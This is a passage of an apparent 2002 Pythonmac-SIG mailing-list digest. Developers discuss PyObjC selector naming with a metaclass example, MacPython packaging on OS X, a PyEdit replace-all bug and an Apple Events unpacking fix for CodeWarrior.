> > I still know very little about ObjC, let alone pyobjc, but in my ideal 
> > would be
> > something like:
> >
> >   obj.message(arg1name=arg1value, arg2name=arg2value)

[Jack]
> There's a fundamental problem with this: the "argnames" are really part 
> of the Objective C method name. I.e. if you see  a call [object message: 
> arg1 withFoo: arg2] you should think of "message:withFoo:" as the method 
> name, *not* of "message:" as the message name and "withFoo:" as the name 
> of an optional argument.

It just occured to me that this is solvable with an appropriate metaclass. This
method:

  class Foo(SomeCocoaClassWithAppropriateMetaClass):
  
      def foo(self, arg1, arg2, arg3):
          ...

would be converted to this at class definition time:

      def foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):
          ...

This snippet already works:

  import pprint
  import types
      
  class PseudoPyObjCMetaType(type):
  
      def __init__(self, name, bases, dict):
          for name, method in dict.items():
              if isinstance(method, types.FunctionType):
                  code = method.func_code
                  assert code.co_varnames[0] == "self", "complain"
                  argnames = code.co_varnames[1:code.co_argcount]
                  selector = name + "_" + "_".join(argnames) + "_"
                  self.__dict__[selector] = method
  
  
  class Test(object):
      
      __metaclass__ = PseudoPyObjCMetaType
      
      def foo(self, arg1, arg2):
          print arg1, arg2
  
  
  t = Test()
  t.foo(1, 2)
  t.foo_arg1_arg2_(3, 4)


Now, for the other way around (to call an ObjC from Python), maybe a similar
trick can be used? If it is possible to query a class at runtime which selectors
it supports, maybe Python wrappers can be generated on the fly so you can still
do

  obj.foo(arg1="x", arg2="y")

? Maybe this will cost too much. Would like to learn more about the (Py)ObjC
internals...

Just


From just@letterror.com  Thu Oct 24 11:47:54 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 24 Oct 2002 12:47:54 +0200
Subject: [Pythonmac-SIG] PyObjC calling syntax again, an idea.
In-Reply-To: <r01050400-1021-FCAFA130E73311D68033003065D5E7E4@[10.0.0.23]>
Message-ID: <r01050400-1021-0E5BE2C0E73E11D68033003065D5E7E4@[10.0.0.23]>

I wrote:

> It just occured to me that this is solvable with an appropriate
> metaclass. This method:
> 
>   class Foo(SomeCocoaClassWithAppropriateMetaClass):
>   
>       def foo(self, arg1, arg2, arg3):
>           ...
> 
> would be converted to this at class definition time:
> 
>       def foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):
>           ...

One obvious flaw is that the following can't work with this scheme:

      def foo(self, arg1, arg2, arg3):
          ...
      def foo(self, arg1, arg2, arg3, arg4):
          ...

as the methods are gathered in a dict at class definition time.

Just


From mwh@python.net  Thu Oct 24 12:01:09 2002
From: mwh@python.net (Michael Hudson)
Date: 24 Oct 2002 12:01:09 +0100
Subject: [Pythonmac-SIG] Doing it differently:  Module management /    installation
In-Reply-To: Chris Barker's message of "Wed, 23 Oct 2002 09:50:12 -0700"
References: <9A33F280-E6B2-11D6-9DF7-000393877AE4@codefab.com> <3DB6D344.2A2399CA@noaa.gov>
Message-ID: <2m65vst822.fsf@starship.python.net>

Chris Barker <Chris.Barker@noaa.gov> writes:

> Oops, I sent my last note to Bill, rather than the list. Does anyone
> know why the replyto field is not set to the list?

Because setting reply-to on lists is evil.

Cheers,
M.

-- 
  Richard Gabriel was wrong: worse is not better, lying is better.
  Languages and systems succeed in the marketplace to the extent that
  their proponents lie about what they can do.
                                       -- Tim Bradshaw, comp.lang.lisp


From oussoren@cistron.nl  Thu Oct 24 14:57:10 2002
From: oussoren@cistron.nl (Ronald Oussoren)
Date: Thu, 24 Oct 2002 15:57:10 +0200
Subject: [Pythonmac-SIG] PyObjC calling syntax again, an idea.
In-Reply-To: <r01050400-1021-FCAFA130E73311D68033003065D5E7E4@[10.0.0.23]>
Message-ID: <7D5D9A3C-E758-11D6-B869-0003931CFE24@cistron.nl>

On Thursday, Oct 24, 2002, at 11:35 Europe/Amsterdam, Just van Rossum 
wrote:

>
> It just occured to me that this is solvable with an appropriate 
> metaclass. This
> method:
>
>   class Foo(SomeCocoaClassWithAppropriateMetaClass):
>
>       def foo(self, arg1, arg2, arg3):
>           ...
>
> would be converted to this at class definition time:
>
>       def foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):
>           ...

Automaticly converting from pretty names to ugly names, that is not 
very usefull <wink>. Meta classes are indeed a good way for this and 
PyObjC already makes use of a metaclass to control the creation of 
subclasses.

Problem is that this does not solve the calling part...

BTW. How does this work when two methods differ only in the argument 
list?

>
> Now, for the other way around (to call an ObjC from Python), maybe a 
> similar
> trick can be used? If it is possible to query a class at runtime which 
> selectors
> it supports, maybe Python wrappers can be generated on the fly so you 
> can still
> do
>
>   obj.foo(arg1="x", arg2="y")

Problem is that keyword arguments, which you'd have to use to even see 
the argument names used by the caller, are implemented using python 
dicts. This means you loose the order of arguments, and the order is 
important here! It is quite conceivable that their exist two 
Objective-C selectors that differ only in the order of the name 
fragments.

Ronald



From just@letterror.com  Thu Oct 24 15:20:17 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 24 Oct 2002 16:20:17 +0200
Subject: [Pythonmac-SIG] PyObjC calling syntax again, an idea.
In-Reply-To: <7D5D9A3C-E758-11D6-B869-0003931CFE24@cistron.nl>
Message-ID: <r01050400-1021-BB10103EE75B11D68033003065D5E7E4@[10.0.0.23]>

Ronald Oussoren wrote:

> On Thursday, Oct 24, 2002, at 11:35 Europe/Amsterdam, Just van Rossum 
> wrote:
> 
> > It just occured to me that this is solvable with an appropriate 
> > metaclass. This
> > method:
> >
> >   class Foo(SomeCocoaClassWithAppropriateMetaClass):
> >
> >       def foo(self, arg1, arg2, arg3):
> >           ...
> >
> > would be converted to this at class definition time:
> >
> >       def foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):
> >           ...
> 
> Automaticly converting from pretty names to ugly names, that is not 
> very usefull <wink>.

It is from a method definition perspective...

> Meta classes are indeed a good way for this and 
> PyObjC already makes use of a metaclass to control the creation of 
> subclasses.
> 
> Problem is that this does not solve the calling part...

Nope, I didn't say it would ;-)

> BTW. How does this work when two methods differ only in the argument 
> list?

That's what I realized after I posted (see my own followup): it doesn't.

> > Now, for the other way around (to call an ObjC from Python), maybe a 
> > similar
> > trick can be used? If it is possible to query a class at runtime which 
> > selectors
> > it supports, maybe Python wrappers can be generated on the fly so you 
> > can still
> > do
> >
> >   obj.foo(arg1="x", arg2="y")
> 
> Problem is that keyword arguments, which you'd have to use to even see 
> the argument names used by the caller, are implemented using python 
> dicts. This means you loose the order of arguments, and the order is 
> important here! It is quite conceivable that their exist two 
> Objective-C selectors that differ only in the order of the name 
> fragments.

Right. Say for a moment that this isn't a big deal in reality ;-), is it
possible at runtime to query an ObjC class for a list of selectors? If so, it
would be possible to dynamically insert methods in the Python class object that
would work like so:

    def foo(self, arg1, arg2, arg3):
        return self.foo_arg1_arg2_arg3_(arg1, arg2, arg3)

Just


From kp87@lycos.com  Thu Oct 24 16:10:02 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 24 Oct 2002 11:10:02 -0400
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <AGELGENBKKKDLAAA@mailcity.com>

>> Well, this did get a little flamey (is that a word?), but

Sorry 'bout my part in that. A few things may have come out sounding not as i intended. Anyway I understand much more where various folks who use Python on the mac are comming from.

>> This all started because some of us suggested that a 
>> Python installation
>> should be visible from an unmodified Finder. Is there
>> anything wrong with that??? 

No, i just worry that the new Python will have to move to far from a standard UNIX install to achive this is all. Mac classic is a free for all mostly, but as a UNIX person you know in UNIX everything has its place and people expect to
find things in the "usual" places, even if some of those places don't show up in the "finder".

>>It looks like we can get the best of both worlds, and I,
>>for one, am thrilled about that!

That, of course, is the ideal.


-kp--




____________________________________________________________
Get 250 full-color business cards FREE right now!
http://businesscards.lycos.com 


From bbum@codefab.com  Thu Oct 24 16:24:09 2002
From: bbum@codefab.com (Bill Bumgarner)
Date: Thu, 24 Oct 2002 11:24:09 -0400
Subject: [Pythonmac-SIG] Re: PyObjC calling syntax again, an idea
In-Reply-To: <20021024135832.14256.92336.Mailman@mail.python.org>
Message-ID: <A46AAC7C-E764-11D6-9DF7-000393877AE4@codefab.com>

 From a pure python perspective, I can understand why this line of  
thinking would be attractive.

 From an ObJC or bridged perspective, it appears to be  
yet-another-API-obfuscator.  That is, another algorithm for obfuscating  
the API in some automated fashion to make an alien language's API  
appear to be more in line with the native language.

The conversion of 'foo(self, arg1, arg2, arg3):' into 'def  
foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):' doesn't really translate  
the API from Python to Obj-C.

Consider:

 >>> from Foundation import *
 >>> class Foo(NSObject):
...     def foo_bar_(self, a1, a2):
...             print "foo bar %s %s" % (a1, a2)
...
 >>> x = Foo.new()
 >>> x.foo_bar_("1", "2")
foo bar 1 2
 >>> x.performSelector_withObject_withObject_("foo:bar:", "1", "2")
foo bar 1 2

The definition of foo_bar_ is done in the Obj-C convention.   It works  
from both Python and Obj-C (as it should).  If we were in Obj-C and  
wanted to invoke the method, it would be a very natural:

     [x foo: 1 bar: 2]

Ugly from the Python side, but -- hey -- this was *designed after the  
Obj-C pattern and is, therefore, alien to Python*.

 >>> class PyFoo(NSObject):
...     def bar(self, a1, a2):
...             print "baa %s %s" % (a1, a2)
...
 >>> x = Boo.new()
 >>> x = PyFoo.new()
 >>> x.performSelector_withObject_withObject_("bar", "a1", "a2")
baa a1 a2
 >>> x.bar("a1", "a2")
baa a1 a2

This sequence is done much more from the python perspective.   Works  
just like the first.  Can even be used in Obj-C:

     objc_msgSend(x, @selector(bar), @"a1", @"a2")

Kind of ugly, yes, but this is an API that was designed in the pattern  
of Python and is, hence, alien to Obj-C (note that if the method had  
been declared as bar_(self, a1, a2), we could have used [x bar: @"a1",  
@"a2"] on the Obj-C side -- it is a compiler syntax issue).

Adding a bunch of name mangling into the mix doesn't make it any easier  
to develop code using the bridge.   It may make the code look more  
natural to the native Python programmer, but it does so by blurring the  
lines between the languages in a way that will make the actual process  
of developing code more difficult.   Namely -- the developer could no  
longer look at bar(self, a1, a2) and think "Oh, the bar() method" --  
now they have to mentally translate it to the "bar_a1_a2()" method.

While the current naming scheme may appear ugly at first glance, it has  
some distinct advantages over any of the alternatives proposed or  
implemented [the Java bridge, for example] so far:

     It is simple enough that the developer quickly becomes accustomed  
to the translation-- the substitution of _ for :-- required and, as  
such, becomes productive within the environment rapidly.

     It does not lose information or obfuscate the APIs as presented by  
the two languages.  For the Python developer, this means that foo()  
really is and always will be foo() -- might have to jump through a hoop  
on the ObjC side to call foo(), but it isn't a big deal and there are  
always hoops when working with bridged environments.  For the Obj-C  
developer, this means that foo_() will always mean foo: and foo_bar_  
will always be foo:bar: -- never do you have the situation that plagues  
the Java bridge where foo() can actually mean foo:, foo:bar:,  
foo:bar:baz: and foo:bar:bob:, depending on the argumentation.

     The developer does not have build some kind of a stupid mapping or  
jobs file to make a new chunk of functionality-- be it on the Obj-C or  
python side-- available on both sides of the bridge.  Example: even  
though there isn't a specific compiled module for, say, NetInfo, I can  
easily do  
NSBundle.bundleWithPath_("../path/to/ 
NetInfo.framework").principalClass() and subsequently use Python to  
build administrative scripts that manipulate NetInfo.

b.bum

On Thursday, October 24, 2002, at 09:58 AM, JvR wrote:
> A while back, Jack replied to me:
> [JvR]
>>> I still know very little about ObjC, let alone pyobjc, but in my  
>>> ideal
>>> would be
>>> something like:
>>>
>>>   obj.message(arg1name=arg1value, arg2name=arg2value)
> [Jack]
>> There's a fundamental problem with this: the "argnames" are really  
>> part
>> of the Objective C method name. I.e. if you see  a call [object  
>> message:
>> arg1 withFoo: arg2] you should think of "message:withFoo:" as the  
>> method
>> name, *not* of "message:" as the message name and "withFoo:" as the  
>> name
>> of an optional argument.
>
> It just occured to me that this is solvable with an appropriate  
> metaclass. This
> method:
>
>   class Foo(SomeCocoaClassWithAppropriateMetaClass):
>
>       def foo(self, arg1, arg2, arg3):
>           ...
>
> would be converted to this at class definition time:
>
>       def foo_arg1_arg2_arg3_(self, arg1, arg2, arg3):
>           ...
> This snippet already works:
>
> .... snipped deleted ....
>
>   t = Test()
>   t.foo(1, 2)
>   t.foo_arg1_arg2_(3, 4)
>
>
> Now, for the other way around (to call an ObjC from Python), maybe a  
> similar
> trick can be used? If it is possible to query a class at runtime which  
> selectors
> it supports, maybe Python wrappers can be generated on the fly so you  
> can still
> do
>
>   obj.foo(arg1="x", arg2="y")
>
> ? Maybe this will cost too much. Would like to learn more about the  
> (Py)ObjC
> internals...



From Benjamin.Schollnick@usa.xerox.com  Thu Oct 24 17:27:52 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Thu, 24 Oct 2002 12:27:52 -0400
Subject: [Pythonmac-SIG] Let's do it completely different!
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B3468@USAMCMS7>

Folks,

	I'm slowing going through the emails over the last couple of days...

	But, the major issue that I see is, do we continue to distribute a
	different python version than is included with v10.2.x, or do we
	patch Apple's version to extend it.

	Extending it is nice, and would probably allow us to reduce the size
of
	MacPython installer.....

	But what happens when v10.3.xx comes out, and it has a newer version
of 
	python installed?

	What happens when we produce a bug fix version?

	In otherwords, we can patch and extend Apple's released version, but

	they are in control of it.  We don't know their plans, and we could
	end up having to be able to patch numerous versions of Python in the
wild.

	Being able to keep track of all the variants in the wild, and having
	patches and extensions could be more confusing than simply just
running
	a single installer...
	
	Is there really a solid reason for us to not produce stand alone
version?

			- Benjamin



From Benjamin.Schollnick@usa.xerox.com  Thu Oct 24 17:34:05 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Thu, 24 Oct 2002 12:34:05 -0400
Subject: [Pythonmac-SIG] Re: Apple's install vs. a custom install of P	ython
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B3469@USAMCMS7>

> > If the goal is merely to render the best possible Python runtime
> > environment on the planet, I agree with Alex's statement wholeheartedly.

> One of Alex's statements was that Apple might ship whatever it is we (or
> Jack anyway :-) ) build, so we can have both the best possible Python
> runtime, AND have it be a standard part of OS-X. I hope he's right!

I'm making that assumption too.

When we have a stable "milestone", GM, or whatever you want to call it,
I would assume that Apple will upgrade that included python version to
that Milestone.

> On *nix, I can use the #! line to specify a Python version. On my linux
> system, I have at least three versions installed (1.5.2 because RedHat
> uses it, 2.1 because I have developed a large app with it, and 2.2
> because I wanted to make sure it didn't break anythong before I got rid
> of 2.1)

> MacPython needs to be able to allow this too. There needs to be a way to
> specify which version your app needs, and be able to have multiple
> versions installed at once on the system. I have no idea how to handle
> this on Windows, but I sure hope it won't be a problem on OS-X.

The Macho/Unix installation does this already....

The MacPython/GUI version should also allow this....

		- Benjamin


From Benjamin.Schollnick@usa.xerox.com  Thu Oct 24 17:37:02 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Thu, 24 Oct 2002 12:37:02 -0400
Subject: [Pythonmac-SIG] Re: Let's do it completely different!
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B346A@USAMCMS7>

> >Beside the terminal is a pretty cool app and *ever* mac will already
> >have one!


> Or not. Isn't the "BSD layer" install optional?

Quite true....

But alot of applications require the "BSD Layer"...
So for a optional piece of the OS, it certainly seems like
it's a requirement...

			- Benjamin


From Chris.Barker@noaa.gov  Thu Oct 24 19:54:17 2002
From: Chris.Barker@noaa.gov (Chris Barker)
Date: Thu, 24 Oct 2002 11:54:17 -0700
Subject: [Pythonmac-SIG] Doing it differently:  Module management /
 installation
References: <9A33F280-E6B2-11D6-9DF7-000393877AE4@codefab.com> <3DB6D344.2A2399CA@noaa.gov> <2m65vst822.fsf@starship.python.net>
Message-ID: <3DB841D9.28CB1CF3@noaa.gov>

Michael Hudson wrote:
> Does anyone
> > know why the replyto field is not set to the list?
> 
> Because setting reply-to on lists is evil.

I've experienced a number of auto-reply feedback loops on mailing lists,
but not for a long while. A number of other lists I'm on (wxPython, for
example) have reply-to set tot he list, and it works just fine. Someone
must ahve figured out how to filter out the auto-replies.

I do know that I have accidentally sent replies to only the sender on
this list a lot. Maybe I'm jsut to absent minded.

-Chris

-- 
Christopher Barker, Ph.D.
Oceanographer
                                    		
NOAA/OR&R/HAZMAT         (206) 526-6959   voice
7600 Sand Point Way NE   (206) 526-6329   fax
Seattle, WA  98115       (206) 526-6317   main reception

Chris.Barker@noaa.gov


From skip@pobox.com  Thu Oct 24 20:14:26 2002
From: skip@pobox.com (Skip Montanaro)
Date: Thu, 24 Oct 2002 14:14:26 -0500
Subject: [Pythonmac-SIG] Doing it differently:  Module management / installation
In-Reply-To: <3DB841D9.28CB1CF3@noaa.gov>
References: <9A33F280-E6B2-11D6-9DF7-000393877AE4@codefab.com>
 <3DB6D344.2A2399CA@noaa.gov>
 <2m65vst822.fsf@starship.python.net>
 <3DB841D9.28CB1CF3@noaa.gov>
Message-ID: <15800.18066.329707.112564@montanaro.dyndns.org>

    Chris> I do know that I have accidentally sent replies to only the
    Chris> sender on this list a lot. Maybe I'm jsut to absent minded.

Accidents happen, but you eat a lot less crow when apologizing to a list for
having only replied to the sender than when apologizing to a list for having
replied to the entire list when the message was intended for just the
sender, especially if the subject matter in the accidental global reply was,
shall we say, of a personal nature ;-).

Skip


From lmeyn@mail.arc.nasa.gov  Thu Oct 24 20:27:25 2002
From: lmeyn@mail.arc.nasa.gov (Larry Meyn)
Date: Thu, 24 Oct 2002 12:27:25 -0700
Subject: [Pythonmac-SIG] IDE Replace Text Bug
Message-ID: <A07C80C4-E786-11D6-A576-00306546DFB6@mail.arc.nasa.gov>

--Apple-Mail-2--801612653
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

I've just encountered a bug in the IDE when replacing text.  When I do 
a replace all, I get the message "replaced N occurrences" but it 
appears that no changes have been made, the text displayed is not 
altered.  However, saving the file and reopening that file shows the 
text as it should.  Apparently, the displayed text is not being updated 
after a replace all.  I'm using the Oct. 12 2.2.1b+ Carbon version 
under OS X 10.2.1 on an G4, AGP Macintosh.

Larry Meyn
Aerospace Operations Modeling Office

M/S 210-10                      Phone:  (650) 604-5038
NASA Ames Research Center       Fax:    (650) 604-0222
Moffett Field, CA 94035-1000    E-mail: lmeyn@mail.arc.nasa.gov
                                 E-Fax:  (425) 944-5526 sent via e-mail

--Apple-Mail-2--801612653
Content-Transfer-Encoding: 7bit
Content-Type: text/enriched;
	charset=US-ASCII

I've just encountered a bug in the IDE when replacing text.  When I do
a replace all, I get the message "replaced N occurrences" but it
appears that no changes have been made, the text displayed is not
altered.  However, saving the file and reopening that file shows the
text as it should.  Apparently, the displayed text is not being
updated after a replace all.  I'm using the Oct. 12 2.2.1b+ Carbon
version under OS X 10.2.1 on an G4, AGP Macintosh.


<fontfamily><param>Courier</param>Larry Meyn

Aerospace Operations Modeling Office


M/S 210-10                      Phone:  (650) 604-5038

NASA Ames Research Center       Fax:    (650) 604-0222

Moffett Field, CA 94035-1000    E-mail: lmeyn@mail.arc.nasa.gov

                                E-Fax:  (425) 944-5526 sent via e-mail

</fontfamily>
--Apple-Mail-2--801612653--



From just@letterror.com  Thu Oct 24 20:41:55 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 24 Oct 2002 21:41:55 +0200
Subject: [Pythonmac-SIG] IDE Replace Text Bug
In-Reply-To: <A07C80C4-E786-11D6-A576-00306546DFB6@mail.arc.nasa.gov>
Message-ID: <r01050400-1021-A8F6E3AAE78811D68033003065D5E7E4@[10.0.0.23]>

Larry Meyn wrote:

> I've just encountered a bug in the IDE when replacing text.  When I do 
> a replace all, I get the message "replaced N occurrences" but it 
> appears that no changes have been made, the text displayed is not 
> altered.  However, saving the file and reopening that file shows the 
> text as it should.  Apparently, the displayed text is not being updated 
> after a replace all.  I'm using the Oct. 12 2.2.1b+ Carbon version 
> under OS X 10.2.1 on an G4, AGP Macintosh.

Funny, I just saw the same thing. I'll have a look.

Just


From just@letterror.com  Thu Oct 24 21:04:26 2002
From: just@letterror.com (Just van Rossum)
Date: Thu, 24 Oct 2002 22:04:26 +0200
Subject: [Pythonmac-SIG] IDE Replace Text Bug
In-Reply-To: <r01050400-1021-A8F6E3AAE78811D68033003065D5E7E4@[10.0.0.23]>
Message-ID: <r01050400-1021-CE202FC2E78B11D68033003065D5E7E4@[10.0.0.23]>

Just van Rossum wrote:

> Funny, I just saw the same thing. I'll have a look.

Fixed in rev. 1.33 of PyEdit.py in CVS.

Just


From Jack.Jansen@oratrix.com  Thu Oct 24 21:28:55 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 24 Oct 2002 22:28:55 +0200
Subject: [Pythonmac-SIG] Re: Pythonmac-SIG digest, Vol 1 #1254 - 8 msgs
In-Reply-To: <DFLKPDMKKLPOCBAA@mailcity.com>
Message-ID: <38019816-E78F-11D6-9258-003065517236@oratrix.com>

On woensdag, oktober 23, 2002, at 11:18 , kevin parks wrote:
>
> I sure hope so too, but isn't important to know this before 
> hand? Are the folks who are incharge of Python builds @ Apple 
> even watching this list and talking to Jack?

Apple is aware of what we're up to, and occasionally I've been 
in contact with the person responsible for Jaguar Python (but I 
think that was set up by a third person). But: now that they 
have Python included in Jaguar I would assume someone tracks it.

> I wish that they tool as much interest in Python as they did 
> with TCL/TK.

I wouldn't be surprised if this was pure chance: the main MacTk 
developer happened to be at Apple, so then it's easier to pull 
the right strings. And moreover Tk was at that time the only 
open source three-platform GUI solution (even though MacTk was 
pretty shakey), so while Python was just another scripting 
language Tk had a specific niche.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Oct 24 22:02:56 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 24 Oct 2002 23:02:56 +0200
Subject: [Pythonmac-SIG] Unix vs. Mac
Message-ID: <F83815CA-E793-11D6-9258-003065517236@oratrix.com>

Well well, this unix-vs-mac discussion is the closest we've had 
to a flamewar since the SIG's inception (and, luckily, still 
much closer to reasoned discussion than to a flamewar).

I just want to let everyone know that whatever I distribute as 
MacPython-OSX will have two faces: on the one hand there will be 
a 100% normal unix-Python available somewhere for people who 
know and love unix[1], on the other hand it will be possible to 
do everything a long time long time Mac user may want to do 
without ever having to touch the Terminal window[2].

The footnotes:
[1] In one distribution this may be the pre-installed 
/usr/bin/python. In another distribution it may be a normal 
Python but living in a funny /Library/Frameworks location, but 
aside from that be 100% normal.
[2] Users should be able to install/uninstall modules (and 
MacPython itself), for instance. An exception may be made for 
packages that come as C source: for these the user will have to 
load the developer tools anyway (which MacPython will not 
require) so I assume by the time they've crossed that bridge 
they should have lost their fear of the shell.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Thu Oct 24 22:18:37 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Thu, 24 Oct 2002 23:18:37 +0200
Subject: [Pythonmac-SIG] Re: Found my OSA problem !
In-Reply-To: <B9D44D67.8425%aparente@adobe.com>
Message-ID: <2931831C-E796-11D6-9258-003065517236@oratrix.com>

On donderdag, oktober 17, 2002, at 08:20 , Alexandre Parenteau wrote:

> Jack,
>
> I've been telling you over and over I had some AppleScript 
> problems, events
> not returning. For example I use Make_Project of CodeWarrior.
> Metrowerks_Shell_Suite.py, and it never returned an error when 
> the project
> was failing.

Alexandre,
I don't understand why your change would work. The login of 
aetools.unpackevent is as follows
def unpackevent():
	if there is a ---- direct object parameter:
		unpack it into parameters[----]
	while we've missed any other parameters:
		unpack these by name into parameters
	for all attributes we know about:
		if the attribute is present:
			unpack it into attributes

Your extra code (if there's no ---- direct object) handles a 
case that is already handled by the while loop just below....

Could you pack up a python script plus CodeWarrior 7.2 project 
that demonstrates your problem? Please state the problem exactly 
(i.e. Expected behaviour: xxxx Observed behaviour: xxxx).

>
> The solution came for me around the aetools.unpackevent:
>
>     try:
>         dirobj = ae.AEGetParamDesc('----', '****')
>     except AE.Error:
>         pass
>     else:
>         parameters['----'] = unpack(dirobj, formodulename)
>         del dirobj
>
> If I understand correctly, it is expected there is an event of 
> type '----'
> to return an error. Well, maybe it used to, but not anymore for me on
> Jaguar. Instead, I get directly the 'errn' event coming back. 
> So I changed
> the code this way :
>
>    try:
>         dirobj = ae.AEGetParamDesc('----', '****')
>     except AE.Error:
>         try:
>             keyword, dirobj = ae.AEGetNthDesc(1, '****')
>         except AE.Error:
>             pass
>         else:
>             parameters[keyword] = unpack(dirobj, formodulename)
>     else:
>         parameters['----'] = unpack(dirobj, formodulename)
>         del dirobj
>
> Note I don't like this code, may be I should use AECountItems.
>
> Anyway, that was the source of my problem. How come you don't 
> experience
> that ??? I don't understand ! Why the returned event suddenly 
> changed from
> '----' (and then 'errn' inside the AEList) to directly 'errn' ?
>
> Anyway, if it could make it for 2.2.2, I want to emphasize that without
> this, I don't have CodeWarrior.CodeWarrior functional (tested 
> on CW 7.1,
> 7.2, 8.0, 8.1, 8.2, Py2.2.1, Py2.3a0, re-generating 
> CodeWarrior.CodeWarrior
> or not).
>
> Alex.
>
> --
> Alexandre Parenteau
> Computer Scientist
> Core Technologies, AGM
> Adobe Systems, Inc.
> 408-536-6166
>
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From aparente@adobe.com  Fri Oct 25 00:41:05 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Thu, 24 Oct 2002 16:41:05 -0700
Subject: [Pythonmac-SIG] Re: Found my OSA problem !
In-Reply-To: <2931831C-E796-11D6-9258-003065517236@oratrix.com>
Message-ID: <B9DDD321.8725%aparente@adobe.com>

Jack,

First of all I could reproduce this behavior on all the machines I have
which run OSX Jaguar.

>>         dirobj = ae.AEGetParamDesc('----', '****')

This fails for me (i.e. An error is thrown, of type : no such param): there
is *no* '----' param in the event returned by metrowerks (for my test I do a
send a 'make project' to MW, and I intentionally introduced a spelling error
in one of the files .c of the .mcp project).

*Instead*, what I see is is a 'errn' param ! If I understand it correctly,
Metrowerks was returning, on earlier OS, something which look like a '----'
param, which is a list of param, and has one unique param when an error
occurred named 'errn'. But now I get only the later.

Does it make more sense ? You should have this problem too BTW, as I found
it to be consistent and happening with fullbuild.py.

How to reproduce : 

- Inject an error in MacPython (any .c would do)
- Use fullbuild.py
- The error is not reported by fullbuild.py (2.3 or 2.2)

Alex.

> On donderdag, oktober 17, 2002, at 08:20 , Alexandre Parenteau wrote:
> 
>> Jack,
>> 
>> I've been telling you over and over I had some AppleScript
>> problems, events
>> not returning. For example I use Make_Project of CodeWarrior.
>> Metrowerks_Shell_Suite.py, and it never returned an error when
>> the project
>> was failing.
> 
> Alexandre,
> I don't understand why your change would work. The login of
> aetools.unpackevent is as follows
> def unpackevent():
> if there is a ---- direct object parameter:
> unpack it into parameters[----]
> while we've missed any other parameters:
> unpack these by name into parameters
> for all attributes we know about:
> if the attribute is present:
> unpack it into attributes
> 
> Your extra code (if there's no ---- direct object) handles a
> case that is already handled by the while loop just below....
> 
> Could you pack up a python script plus CodeWarrior 7.2 project
> that demonstrates your problem? Please state the problem exactly
> (i.e. Expected behaviour: xxxx Observed behaviour: xxxx).
> 
>> 
>> The solution came for me around the aetools.unpackevent:
>> 
>>     try:
>>         dirobj = ae.AEGetParamDesc('----', '****')
>>     except AE.Error:
>>         pass
>>     else:
>>         parameters['----'] = unpack(dirobj, formodulename)
>>         del dirobj
>> 
>> If I understand correctly, it is expected there is an event of
>> type '----'
>> to return an error. Well, maybe it used to, but not anymore for me on
>> Jaguar. Instead, I get directly the 'errn' event coming back.
>> So I changed
>> the code this way :
>> 
>>    try:
>>         dirobj = ae.AEGetParamDesc('----', '****')
>>     except AE.Error:
>>         try:
>>             keyword, dirobj = ae.AEGetNthDesc(1, '****')
>>         except AE.Error:
>>             pass
>>         else:
>>             parameters[keyword] = unpack(dirobj, formodulename)
>>     else:
>>         parameters['----'] = unpack(dirobj, formodulename)
>>         del dirobj
>> 
>> Note I don't like this code, may be I should use AECountItems.
>> 
>> Anyway, that was the source of my problem. How come you don't
>> experience
>> that ??? I don't understand ! Why the returned event suddenly
>> changed from
>> '----' (and then 'errn' inside the AEList) to directly 'errn' ?
>> 
>> Anyway, if it could make it for 2.2.2, I want to emphasize that without
>> this, I don't have CodeWarrior.CodeWarrior functional (tested
>> on CW 7.1,
>> 7.2, 8.0, 8.1, 8.2, Py2.2.1, Py2.3a0, re-generating
>> CodeWarrior.CodeWarrior
>> or not).
>> 
>> Alex.
>> 
>> --
>> Alexandre Parenteau
>> Computer Scientist
>> Core Technologies, AGM
>> Adobe Systems, Inc.
>> 408-536-6166
>> 
> --
> - Jack Jansen        <Jack.Jansen@oratrix.com>
> http://www.cwi.nl/~jack -
> - If I can't dance I don't want to be part of your revolution --
> Emma Goldman -
> 

-- 
Alexandre Parenteau
Computer Scientist
Core Technologies, AGM
Adobe Systems, Inc.
408-536-6166



From aparente@adobe.com  Fri Oct 25 00:43:23 2002
From: aparente@adobe.com (Alexandre Parenteau)
Date: Thu, 24 Oct 2002 16:43:23 -0700
Subject: [Pythonmac-SIG] Re: Found my OSA problem !
In-Reply-To: <2931831C-E796-11D6-9258-003065517236@oratrix.com>
Message-ID: <B9DDD3AB.8728%aparente@adobe.com>

[sorry, second attempt, last email bounced for some reason]

Jack,

First of all I could reproduce this behavior on all the machines I have
which run OSX Jaguar.

>>         dirobj = ae.AEGetParamDesc('----', '****')

This fails for me (i.e. An error is thrown, of type : no such param): there
is *no* '----' param in the event returned by metrowerks (for my test I do a
send a 'make project' to MW, and I intentionally introduced a spelling error
in one of the files .c of the .mcp project).

*Instead*, what I see is is a 'errn' param ! If I understand it correctly,
Metrowerks was returning, on earlier OS, something which look like a '----'
